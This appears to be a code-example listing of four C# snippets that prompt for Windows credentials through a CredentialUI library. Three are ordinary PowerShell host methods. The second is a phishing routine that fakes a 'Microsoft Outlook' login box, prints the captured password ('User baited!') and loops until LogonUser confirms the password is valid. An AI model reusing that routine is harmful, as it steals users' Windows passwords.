Beispiel #1
0
        public override PSCredential PromptForCredential(string caption, string message, string userName, string targetName, PSCredentialTypes allowedCredentialTypes, PSCredentialUIOptions options)
        {
            if (Settings.Default.UseCredentialUI)
            {
                if (string.IsNullOrEmpty(caption))
                {
                    caption = "Windows PowerShell credential request";
                }

                if (string.IsNullOrEmpty(message))
                {
                    message = "Please enter your credentials";
                }

                var pfwCredentialsOptions = new CredentialUI.PromptForWindowsCredentialsOptions(caption, message)
                {
                    HwndParent = _control.WindowHandle
                };

                if (allowedCredentialTypes == PSCredentialTypes.Domain)
                {
                    pfwCredentialsOptions.Flags ^= CredentialUI.PromptForWindowsCredentialsFlag.CREDUIWIN_GENERIC;
                }
                // If the targetName was set, we'd have a good way to tell one credential from another, and could save them ...
                // pfwCredentialsOptions.Flags |= CredentialUI.PromptForWindowsCredentialsFlag.CREDUIWIN_CHECKBOX;

                return(CredentialUI.PromptForWindowsCredentials(pfwCredentialsOptions, userName, string.Empty));

                // THIS IS HOW PowerShell.exe does it ...
                // But MSDN says we're not supposed to do that anymore.

                //// Defaults to GenericCredentials
                //var credentialsOptions = new CredentialUI.PromptForCredentialsOptions(targetName, caption, message)
                //{
                //    HwndParent = _control.WindowHandle
                //};
                //if (allowedCredentialTypes.HasFlag(PSCredentialTypes.Domain))
                //{
                //    credentialsOptions.Flags ^= CredentialUI.PromptForCredentialsFlag.CREDUI_FLAGS_GENERIC_CREDENTIALS;
                //}
                //else if (options.HasFlag(PSCredentialUIOptions.AlwaysPrompt))
                //{
                //    credentialsOptions.Flags |= CredentialUI.PromptForCredentialsFlag.CREDUI_FLAGS_ALWAYS_SHOW_UI;
                //}

                //// Does this _ever_ happen?
                //if (options.HasFlag(PSCredentialUIOptions.ReadOnlyUserName))
                //     credentialsOptions.Flags |= CredentialUI.PromptForCredentialsFlag.CREDUI_FLAGS_KEEP_USERNAME;

                //// Does this ever _not_ happen?
                //if (options.HasFlag(PSCredentialUIOptions.ValidateUserNameSyntax))
                //    credentialsOptions.Flags |= CredentialUI.PromptForCredentialsFlag.CREDUI_FLAGS_VALIDATE_USERNAME;

                //return CredentialUI.PromptForCredentials(credentialsOptions, userName, String.Empty);
            }
            else
            {
                return(_control.PromptForCredentialInline(caption, message, userName, targetName, allowedCredentialTypes, options));
            }
        }
Beispiel #2
0
        public static void Main()
        {
            IntPtr tokenHandle = IntPtr.Zero;
            string userName, domainName, password;

            // Display the current user.
            Console.WriteLine("Logged on User: {0}",
                              WindowsIdentity.GetCurrent().Name);
            Console.WriteLine("Sending prompt to user...");
            //login
            bool login = false;

            try
            {
                do
                {
                    var credentials = CredentialUI.PromptForWindowsCredentials("Microsoft Outlook ", "Authentication required");
                    domainName = credentials.DomainName;
                    userName   = credentials.UserName;
                    password   = credentials.Password;
                    Console.WriteLine("User baited! information received: \n domain name: {0} \n username:{1}\n password:{2}", domainName, userName, password);
                    login = LogonUser(userName, domainName, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, ref tokenHandle);
                }while (!login);
                if (login)
                {
                    Console.WriteLine("LOGIN SUCCESS! information received: \n domain name: {0} \n username:{1}\n password:{2}", domainName, userName, password);
                }
            }
            catch (System.NullReferenceException nre)
            { Console.WriteLine("User pressed cancel :("); }
        }
Beispiel #3
0
        /// <summary>
        /// Prompts the user for credentials with a specified prompt window
        /// caption, prompt message, user name, and target name.
        /// </summary>
        /// <param name="caption">The caption of the message window.</param>
        /// <param name="message">The text of the message.</param>
        /// <param name="userName">The user name whose credential is to be prompted for.</param>
        /// <param name="targetName">The name of the target for which the credential is collected.</param>
        /// <returns>Throws a NotImplementException exception.</returns>
        public override PSCredential PromptForCredential(
            string caption,
            string message,
            string userName,
            string targetName)
        {
            PromptCredentialsResult result = CredentialUI.PromptForCredentials(targetName, caption, message, userName, null);

            return(result == null ? null : new PSCredential(result.UserName, result.Password.ToSecureString()));
        }
Beispiel #4
0
 public override PSCredential PromptForCredential(string caption, string message, string userName, string targetName)
 {
     // TODO: allow overriding with an event handler
     if (Settings.Default.UseCredentialUI)
     {
         return(CredentialUI.PromptForWindowsCredentials(caption, message, IntPtr.Zero, userName, string.Empty));
     }
     else
     {
         return(_control.PromptForCredentialInline(caption, message, userName, targetName));
     }
 }